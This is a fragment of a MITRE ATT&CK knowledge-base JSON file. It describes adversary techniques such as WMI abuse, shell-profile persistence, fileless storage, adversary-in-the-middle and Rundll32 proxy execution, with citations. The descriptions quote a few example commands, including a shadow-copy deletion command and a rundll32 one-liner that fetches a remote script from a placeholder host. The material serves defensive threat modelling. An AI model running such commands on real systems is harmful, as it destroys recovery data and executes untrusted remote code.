                    "description": "Microsoft. (2022, June 13). BlackCat. Retrieved February 13, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/06/13/the-many-lives-of-blackcat-ransomware/"
                },
                {
                    "source_name": "WMI 1-3",
                    "description": "Microsoft. (2023, March 7). Retrieved February 13, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page?redirectedfrom=MSDN"
                },
                {
                    "source_name": "WMI 7,8",
                    "description": "Microsoft. (2024, January 26). WMIC Deprecation. Retrieved February 13, 2024.",
                    "url": "https://techcommunity.microsoft.com/t5/windows-it-pro-blog/wmi-command-line-wmic-utility-deprecation-next-steps/ba-p/4039242"
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            "name": "Windows Management Instrumentation",
            "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.\n\nThe WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for [Discovery](https://attack.mitre.org/tactics/TA0007) as well as [Execution](https://attack.mitre.org/tactics/TA0002) of commands and payloads.(Citation: Mandiant WMI) For example, `wmic.exe` can be abused by an adversary to delete shadow copies with the command `wmic.exe Shadowcopy Delete` (i.e., [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)).(Citation: WMI 6)\n\n**Note:** `wmic.exe` is deprecated as of January of 2024, with the WMIC feature being \u201cdisabled by default\u201d on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by [PowerShell](https://attack.mitre.org/techniques/T1059/001) as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like `wbemtool.exe`, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)",
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            ],
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
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            "created": "2026-04-14T22:53:27.621Z",
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                    "url": "https://attack.mitre.org/techniques/T1687",
                    "external_id": "T1687"
                },
                {
                    "source_name": "Salesforce zero-day in facebook phishing attack",
                    "description": "Bill Toulas. (2023, August 2). Hackers exploited Salesforce zero-day in Facebook phishing attack. Retrieved September 18, 2023.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/"
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            "name": "Exploitation for Defense Impairment",
            "description": "Adversaries may exploit vulnerabilities in security software, infrastructure, or defensive components to degrade, disable, or otherwise continue to impair their ability to prevent, detect, or respond to malicious activity. \n \nAdversaries may exploit a system or application vulnerability to directly interfere with defensive mechanisms. Exploitation occurs when an adversary takes advantage of a programming error in software, services, or the operating system to execute adversary-controlled code, often with the goal of weakening or disabling protections. \n\nVulnerabilities may exist in security tools such as antivirus, endpoint detection and response (EDR), firewalls, or other monitoring solutions. Adversaries may use prior reconnaissance or perform discovery activities (e.g., [Software Discovery](https://attack.mitre.org/techniques/T1518)) to identify defensive tools present in an environment and target them for exploitation. \n\nSuccessful exploitation may allow adversaries to terminate security processes, disable protections, bypass enforcement mechanisms, or reduce the effectiveness of defensive controls. In some cases, vulnerabilities in cloud-based or SaaS infrastructure may also be leveraged to bypass built-in security boundaries or disrupt visibility and enforcement across environments.(Citation: Salesforce zero-day in facebook phishing attack)",
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                    "source_name": "intezer-kaiji-malware",
                    "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
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            "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user\u2019s home directory (~/) to configure the environment. All login shells on a system use <code>/etc/profile</code> when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the <code>~/.bashrc</code> file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc<code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.",
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                    "source_name": "CopyFromScreen .NET",
                    "description": "Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.",
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                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
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                {
                    "source_name": "Aquasec Muhstik Malware 2024",
                    "description": " Nitzan Yaakov. (2024, June 4). Muhstik Malware Targets Message Queuing Services Applications. Retrieved September 24, 2024.",
                    "url": "https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/"
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                {
                    "source_name": "Bitsight 7777 Botnet",
                    "description": "Batista, Jo\u00e3o.  Gi7w0rm. (2024, August 27). Retrieved June 5, 2025.",
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                    "source_name": "CISCO Nexus 900 Config",
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                    "source_name": "Elastic Binary Executed from Shared Memory Directory",
                    "description": "Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.",
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                    "description": "Legezo, D. (2022, May 4). A new secret stash for \u201cfileless\u201d malware. Retrieved March 23, 2023.",
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                    "source_name": "Microsoft Fileless",
                    "description": "Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023.",
                    "url": "https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats"
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                    "source_name": "Sysdig Fileless Malware 23022",
                    "description": "Nicholas Lang. (2022, May 3). Fileless malware mitigation. Retrieved September 24, 2024.",
                    "url": "https://sysdig.com/blog/containers-read-only-fileless-malware/"
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                {
                    "source_name": "Akami Frog4Shell 2024",
                    "description": "Ori David. (2024, February 1). Frog4Shell \u2014 FritzFrog Botnet Adds One-Days to Its Arsenal. Retrieved September 24, 2024.",
                    "url": "https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell"
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            "name": "Fileless Storage",
            "description": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config).\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by antivirus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. \n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) ",
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                    "external_id": "T1067"
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                {
                    "source_name": "MTrends 2016",
                    "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf"
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                    "source_name": "Lau 2011",
                    "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
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                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
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                    "description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.",
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                    "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
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                    "description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.",
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                    "description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.",
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                    "description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.",
                    "url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/"
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            "name": "Adversary-in-the-Middle",
            "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1689)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
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            "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "created": "2017-05-31T21:30:35.733Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1033",
                    "external_id": "T1033"
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                {
                    "source_name": "show_ssh_users_cmd_cisco",
                    "description": "Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html"
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                    "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
                    "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
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            "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)",
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            "id": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2",
            "created": "2020-09-30T16:37:40.271Z",
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                    "source_name": "mitre-attack",
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                {
                    "source_name": "amnesty_nso_pegasus",
                    "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.",
                    "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"
                },
                {
                    "source_name": "Mandiant APT29 Microsoft 365 2022",
                    "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"
                },
                {
                    "source_name": "FBI Proxies Credential Stuffing",
                    "description": "FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023.",
                    "url": "https://www.ic3.gov/Media/News/2022/220818.pdf"
                },
                {
                    "source_name": "Free Trial PurpleUrchin",
                    "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
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                {
                    "source_name": "TrendmicroHideoutsLease",
                    "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
                    "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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            "created": "2020-01-23T18:03:46.248Z",
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                    "source_name": "rundll32.exe defense evasion",
                    "description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.",
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                {
                    "source_name": "Attackify Rundll32.exe Obscurity",
                    "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.",
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                {
                    "source_name": "This is Security Command Line Confusion",
                    "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
                    "url": "https://www.stormshield.com/news/poweliks-command-line-confusion/"
                },
                {
                    "source_name": "Github NoRunDll",
                    "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.",
                    "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll"
                },
                {
                    "source_name": "lolbas project Ieframe.dll",
                    "description": "lolbas project. (n.d.). Ieframe.dll. Retrieved October 5, 2025.",
                    "url": "https://lolbas-project.github.io/lolbas/Libraries/Ieframe/"
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                {
                    "source_name": "lolbas project Zipfldr.dll",
                    "description": "lolbas project. (n.d.). Zipfldr.dll. Retrieved October 5, 2025.",
                    "url": "https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/"
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                {
                    "source_name": "Trend Micro CPL",
                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
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            "name": "Rundll32",
            "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion)\n\nThreat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ",
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            "created": "2021-03-31T14:26:00.848Z",
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                    "external_id": "T1613"
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                    "source_name": "Docker API",
                    "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.",
                    "url": "https://docs.docker.com/engine/api/v1.41/"
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                    "source_name": "Kubernetes API",
                    "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
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                {
                    "source_name": "AWS Lambda Redirector",
                    "description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.",
                    "url": "https://blog.xpnsec.com/aws-lambda-redirector/"
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                {
                    "source_name": "Detecting Command & Control in the Cloud",
                    "description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.",
                    "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
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                {
                    "source_name": "BlackWater Malware Cloudflare Workers",
                    "description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.",
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                {
                    "source_name": "GWS Apps Script Abuse 2021",
                    "description": "Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette"
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                    "source_name": "PowerShell About 2019",
                    "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.",
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                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
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            "description": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.  (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be\u00a0<code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n",
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                    "source_name": "Writing Bad Malware for OSX",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
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                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A) MAR-10310246-2.v1 \u2013 PowerShell Script: ComRAT. Retrieved September 30, 2022.",
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                    "source_name": "Trend Micro",
                    "description": "Karen Victor. (2020, May 18). Reflective Loading Runs Netwalker Fileless Ransomware. Retrieved September 30, 2022.",
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                    "source_name": "Microsoft Learn",
                    "description": "Microsoft. (2021, April 6). 2.5 ExtraData. Retrieved September 30, 2022.",
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                    "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.",
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                    "source_name": "Sentinel Labs",
                    "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 30, 2022.",
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                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
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            "created": "2020-06-26T04:01:09.648Z",
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                    "external_id": "T1556.003"
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                {
                    "source_name": "Apple PAM",
                    "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.",
                    "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt"
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                    "source_name": "Man Pam_Unix",
                    "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.",
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                    "source_name": "PAM Creds",
                    "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20240303094335/https://x-c3ll.github.io/posts/PAM-backdoor-DNS/"
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                    "source_name": "Red Hat PAM",
                    "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.",
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules"
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                    "source_name": "PAM Backdoor",
                    "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.",
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                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "TrellixQakbot",
                    "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.",
                    "url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
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            "modified": "2025-10-24T17:48:21.583Z",
            "name": "Gather Victim Host Information",
            "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary\u2019s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)",
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            "x_mitre_contributors": [
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            "x_mitre_platforms": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca",
            "created": "2020-10-02T16:58:58.738Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/003",
                    "external_id": "T1596.003"
                },
                {
                    "source_name": "Medium SSL Cert",
                    "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.",
                    "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2"
                },
                {
                    "source_name": "SSLShopper Lookup",
                    "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.",
                    "url": "https://www.sslshopper.com/ssl-checker.html"
                }
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            "modified": "2025-10-24T17:48:21.668Z",
            "name": "Digital Certificates",
            "description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted 